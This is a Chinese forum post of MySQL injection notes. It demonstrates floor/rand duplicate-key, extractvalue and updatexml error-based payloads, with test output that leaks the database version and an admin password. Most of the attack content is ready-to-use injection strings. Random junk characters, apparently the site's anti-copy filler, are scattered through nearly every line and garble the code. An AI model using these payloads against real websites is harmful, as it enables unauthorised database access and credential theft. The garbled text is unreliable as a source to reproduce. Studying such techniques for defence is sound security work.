找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2267|回复: 0
打印 上一主题 下一主题

关于Mysql注入过程中的三种报错方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:28:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。( W: @: N$ B  {, {* d) }- A
实际测试环境:
2 f0 C. u; F, h3 S; _
( f- b: E  |/ z5 u7 v" Q7 ~) a 9 N0 x' h5 U- G. L
mysql> show tables;! J: h4 x4 ]  p: f4 C
+----------------+. C7 _8 Y, g4 o8 c9 Z5 ]- @
| Tables_in_test |
  X$ \# C$ N0 J( _7 [+----------------+
6 C) \2 _. A9 s# u& O. o| admin          |
& M$ u1 f( c% q& o! f& J; \) h5 v| article        |
: m, I5 b4 K  c+----------------+& l& J" r* }- S" `

% Z: _; [/ Y0 P; o
% M8 P) v" U( x% z0 `0 k
8 Z4 ?1 l9 S1 [0 u3 P. umysql> describe admin;
! J% j! M: c6 F; ~0 L6 m  d6 F+-------+------------------+------+-----+---------+----------------+! M, v) V) y" W$ w" i9 G
| Field | Type             | Null | Key | Default | Extra          |
, G6 T. `0 a) b% O% P+-------+------------------+------+-----+---------+----------------+. M% c. l* `; c; E7 r; B0 ^
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
$ y6 x. Z4 }9 {! @( n* `; Y0 i, A| user  | varchar(50)      | NO   |     | NULL    |                |8 X2 N! `5 z! K% g: Z0 s
| pass  | varchar(50)      | NO   |     | NULL    |                |
' b0 z+ v: G) d% C% C. Q) u+-------+------------------+------+-----+---------+----------------+" D. r" f: c; P
3 o2 N9 a1 z, o! k( T) X  I

6 Y2 B$ x( t/ k! A) ?, C' Y# z
9 u# E% }' l/ S! J; Amysql> describe article;9 d( E( D3 h" Z- e+ a6 ]4 r% {
+---------+------------------+------+-----+---------+----------------+  y+ n" l' }0 X* o1 Y; ?
| Field   | Type             | Null | Key | Default | Extra          |8 d0 g; d; i; b2 B& K5 W8 I
+---------+------------------+------+-----+---------+----------------+
- t  _: m; c) ]' y| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |4 Q( i( \4 J% F" u- ]
| title   | varchar(50)      | NO   |     | NULL    |                |' p9 M; t6 `( q
| content | varchar(50)      | NO   |     | NULL    |                |4 q0 _; h% P! t3 _* {
+---------+------------------+------+-----+---------+----------------+
6 x) S9 W+ U+ x6 x& c: ]6 H1、通过floor报错) G5 D4 a0 i8 g$ {
可以通过如下一些利用代码3 j) d# {, N1 f% l
; {$ F/ o# o& L9 j& L
$ ^$ j, q9 ^( X8 H' C" s# e
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
  y1 l$ Q% Q/ I5 Q8 {from information_schema.tables group by x)a);! h9 G) X9 U$ Y
, Q- O$ Z* d2 a0 u
; K# o, I* ]$ {$ a6 a( S. _
and (select count(*) from (select 1 union select null union select !1)x" g& |. m/ y9 v& K
group by concat((select table_name from information_schema.tables limit 1),
2 u3 k; t) o* X, \# xfloor(rand(0)*2)));& K% {( D+ F' N' d
举例如下:. f' G" s' C0 i* E3 w* i
首先进行正常查询:
# p8 D  \. ?& ~6 G+ f8 t4 K
6 k4 s2 `" D- X; jmysql> select * from article where id = 1;
) G2 f2 G' R# A* j! r! D, a+----+-------+---------+
4 G% L: j& e5 I7 v. Y0 D| id | title | content |+ ~! I" S! a, q9 e9 f) L% N* c
+----+-------+---------+2 [' M, D! E% J) J& a! L3 v$ x
|  1 | test  | do it   |
" p7 k+ Y& X& @' x+----+-------+---------+
7 i( M- K4 P) P+ @$ K# \! ?假如id输入存在注入的话,可以通过如下语句进行报错。& o5 h; d  p6 c  J. `
6 j: p% q8 M; ^6 U* ~
& c# {' I( g2 X
mysql> select * from article where id = 1 and (select 1 from" ~5 w- E/ s2 Z
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
% G6 \" K+ T8 d% C6 W! L% {2 XERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
# T1 V% Q+ s3 k* r) c可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
- h4 N0 Y5 u: M5 g& {例如我们需要查询管理员用户名和密码:; P) @% a: P: O
Method1:: H. @3 R$ j( H2 Y9 c
# I. L( z9 w. V! h$ Y

% \8 x$ z, j7 }mysql> select * from article where id = 1 and (select 1 from( m! k8 r1 U/ u  }
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x, A4 [( f& R% N( ]3 D& H
from information_schema.tables group by x)a);
# H8 r0 J4 o8 K8 nERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
- l2 r% a' }* i3 XMethod2:" }- q# G, J' Z; U
6 r; ~% z! k( Z2 P/ Y, ]; A
/ ~* ^0 ~  j  T
mysql> select * from article where id = 1 and (select count(*)6 f# H3 c/ N8 b2 }$ _! w) P; ]
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),% r: I: n4 H, N
floor(rand(0)*2)));) M9 W2 ^* d' C& m$ N* q, n
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
1 y  ^7 X% D& m5 L# p( h2、ExtractValue
( O  l4 L0 s1 U( u5 O测试语句如下
* c  F0 f) H$ x' T9 _- W
. B) T1 d7 q) O6 B  i8 A& n3 v5 A5 M
. l. @5 }# T7 a$ r) c& Oand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
9 t( Q0 q4 L; f' [! S实际测试过程
9 K4 ^) G: |: l: t2 v2 k2 W5 q ; t! k; X3 u1 F! s

+ I' a9 k4 Z* t8 Fmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,# [* s5 g! B- C) d
(select pass from admin limit 1)));--
+ B. @( L$ ~# uERROR 1105 (HY000): XPATH syntax error: '\admin888'
+ i, ~1 H% I" n6 G3、UpdateXml: G3 E. s7 _. G
测试语句
& i1 a  K+ _* X/ Q# c
5 W. ~7 u$ Y8 e / A3 x! v. k3 G( g+ C" X+ t
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
% P$ C6 C7 e4 e# W* O# `3 D实际测试过程5 J. y, W8 q3 e) I

" F& ~6 \+ p' R1 u" a' l
+ J  n0 v6 f3 V- }  l. \/ M9 ymysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,3 G, }5 C- ^0 _
(select pass from admin limit 1),0x5e24),1));$ d+ x# A: H9 R$ P4 W) r
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'# F0 H& Z5 H1 o$ O# a+ x: H# I6 N+ r
All, thanks foreign guys.
8 `" l; k! M; A
2 j0 u+ v( f) f0 d2 c4 v0 }
! K4 S6 k2 P. _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表